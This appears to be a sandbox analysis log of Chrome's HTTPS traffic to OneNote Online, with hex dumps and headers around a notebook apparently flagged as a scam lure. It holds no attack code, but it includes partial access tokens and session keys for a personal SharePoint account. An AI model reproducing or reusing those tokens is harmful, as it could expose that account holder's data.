https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-07-16 11:07:08 UTC	15541	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 32 33 32 36 30 2c 22 4c 22 3a 5b 7b 22 47 22 3a 34 31 35 34 33 33 38 30 2c 22 54 22 3a 31 32 2c 22 4d 22 3a 22 46 69 6e 69 73 68 65 64 20 72 65 6e 64 65 72 69 6e 67 20 64 65 6c 61 79 65 64 20 6f 75 74 6c 69 6e 65 73 20 70 6f 73 74 2d 62 6f 6f 74 22 2c 22 43 22 3a 33 33 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 31 32 35 38 34 35 38 2c 22 54 22 3a 31 39 2c 22 4d 22 3a 22 50 72 69 76 61 63 79 44 69 61 6c 6f 67 4d 61 6e 61 67 65 72 2e 53 68 6f 77 50 72 69 76 61 63 79 44 69 61 6c 6f 67 49 66 4e 65 63 65 73 73 61 72 79 3a 20 4e 6f 74 69 63 65 20 73 68 6f 77 6e 20 3d 20 66 61 6c 73 65 22 2c 22 43 22 3a 33 30 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 33 37 33 35 37 36 36 30 2c 22 54 22 3a 31 39 2c 22 4d 22 3a 22 50 Data Ascii: {"T":1721128023260,"L":[{"G":41543380,"T":12,"M":"Finished rendering delayed outlines post-boot","C":339,"D":50},{"G":51258458,"T":19,"M":"PrivacyDialogManager.ShowPrivacyDialogIfNecessary: Notice shown = false","C":306,"D":50},{"G":37357660,"T":19,"M":"P
2024-07-16 11:07:08 UTC	1648	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 790aa42d-bf60-440c-9ef5-9458bd492f8d X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017826 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://euc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5d&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017826 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 2EC5AFB26028497795DD1E3DE6DB23ED Ref B: EWR311000108011 Ref C: 2024-07-16T11:07:08Z Date: Tue, 16 Jul 2024 11:07:08 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49846	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:08 UTC	3573	OUT	GET /o/OneNoteS2SHandler.ashx?action=eduproperties&notebookid=1-5EECF280-3334-476F-8F52-2886D4389084&isteacher=false&isstudent=false&WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyR [TRUNCATED] Host: euc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f OrgIdSiteUrl: https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-07-16 11:07:08 UTC	1071	IN	HTTP/1.1 500 Internal Server Error Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 5d10f1ac-0dcb-4573-8a97-bd5cc5c78530 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017832 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017832 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 70093226A1F2465888E97058AEFCC964 Ref B: EWR311000108017 Ref C: 2024-07-16T11:07:08Z Date: Tue, 16 Jul 2024 11:07:08 GMT Connection: close
2024-07-16 11:07:08 UTC	1215	IN	Data Raw: 34 62 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 Data Ascii: 4b8<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500
2024-07-16 11:07:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49855	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:09 UTC	3492	OUT	POST /o/proofing.ashx?WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtN [TRUNCATED] Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 493 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json; charset=UTF-8 X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-07-16 11:07:09 UTC	493	OUT	Data Raw: 7b 22 4d 6f 64 65 22 3a 31 2c 22 73 72 73 22 3a 5b 5b 34 2c 7b 22 4f 70 65 72 61 74 69 6f 6e 49 64 22 3a 30 2c 22 44 65 70 65 6e 64 65 6e 74 4f 6e 22 3a 30 2c 22 49 6e 70 75 74 22 3a 22 53 43 41 4d 21 21 21 20 44 6f 20 6e 6f 74 22 2c 22 4c 63 69 64 22 3a 31 30 33 33 2c 22 50 72 65 43 6f 6e 74 65 78 74 54 65 78 74 22 3a 22 22 2c 22 50 6f 73 74 43 6f 6e 74 65 78 74 54 65 78 74 22 3a 22 20 6f 70 65 6e 21 20 50 75 6c 63 72 61 20 43 68 65 6d 69 63 61 6c 73 22 2c 22 55 73 65 72 41 63 74 69 6f 6e 54 79 70 65 22 3a 22 45 64 69 74 22 2c 22 41 70 70 6c 69 63 61 74 69 6f 6e 4d 6f 64 65 22 3a 31 2c 22 50 72 6f 6f 66 69 6e 67 45 6e 67 69 6e 65 22 3a 32 2c 22 55 73 65 43 6f 6e 74 65 78 74 75 61 6c 52 65 73 75 6c 74 73 22 3a 66 61 6c 73 65 2c 22 54 65 78 74 55 6e 69 74 Data Ascii: {"Mode":1,"srs":[[4,{"OperationId":0,"DependentOn":0,"Input":"SCAM!!! Do not","Lcid":1033,"PreContextText":"","PostContextText":" open! Pulcra Chemicals","UserActionType":"Edit","ApplicationMode":1,"ProofingEngine":2,"UseContextualResults":false,"TextUnit
2024-07-16 11:07:09 UTC	1377	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 160 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-ROUTED-TO-TARGET-SERVER-PATH: WAC_WFE_AFFINITY_TARGET_URL X-CorrelationId: 5838fc2f-0705-4abd-9114-c64b96c1ba83 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-CorrelationId: 5838fc2f-0705-4abd-9114-c64b96c1ba83 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001783A X-WacFrontEnd: DU2PEPF0001783E X-Powered-By: ARR/3.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_visioslice,afd_pptcapacity_2_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: FB6C81E976E745B8957777C6DA3BE17C Ref B: EWR311000103019 Ref C: 2024-07-16T11:07:09Z Date: Tue, 16 Jul 2024 11:07:09 GMT Connection: close
2024-07-16 11:07:09 UTC	160	IN	Data Raw: 7b 22 52 65 73 70 6f 6e 73 65 73 22 3a 5b 5b 36 33 2c 7b 22 4f 70 65 72 61 74 69 6f 6e 49 64 22 3a 30 2c 22 53 74 61 74 75 73 43 6f 64 65 22 3a 30 2c 22 52 61 77 43 65 6c 6c 53 74 6f 72 61 67 65 45 72 72 6f 72 43 6f 64 65 22 3a 6e 75 6c 6c 2c 22 53 65 72 76 65 72 50 61 67 65 53 74 61 74 73 54 72 61 63 65 22 3a 6e 75 6c 6c 2c 22 43 72 69 74 69 71 75 65 73 22 3a 5b 5d 2c 22 54 72 61 63 65 49 64 22 3a 6e 75 6c 6c 2c 22 43 68 65 63 6b 65 64 53 70 61 6e 73 22 3a 5b 5d 7d 5d 5d 7d Data Ascii: {"Responses":[[63,{"OperationId":0,"StatusCode":0,"RawCellStorageErrorCode":null,"ServerPageStatsTrace":null,"Critiques":[],"TraceId":null,"CheckedSpans":[]}]]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49858	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:09 UTC	473	OUT	GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PrivNote=-1
2024-07-16 11:07:09 UTC	4447	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 78d24722-f0d4-4bd9-bddb-715c2d0aae04 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001783C X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-BL2r8a&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001783C X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 20213B00DC8D4F7FBC8486FF2232FEC0 Ref B: BL2AA2010202049 Ref C: 2024-07-16T11:07:09Z Date: Tue, 16 Jul 2024 11:07:09 GMT Connection: close
2024-07-16 11:07:09 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49870	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:10 UTC	3457	OUT	POST /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 1769 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-Requested-With: Fetch X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIw [TRUNCATED] X-AccessTokenTtl: 1721164012481 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: 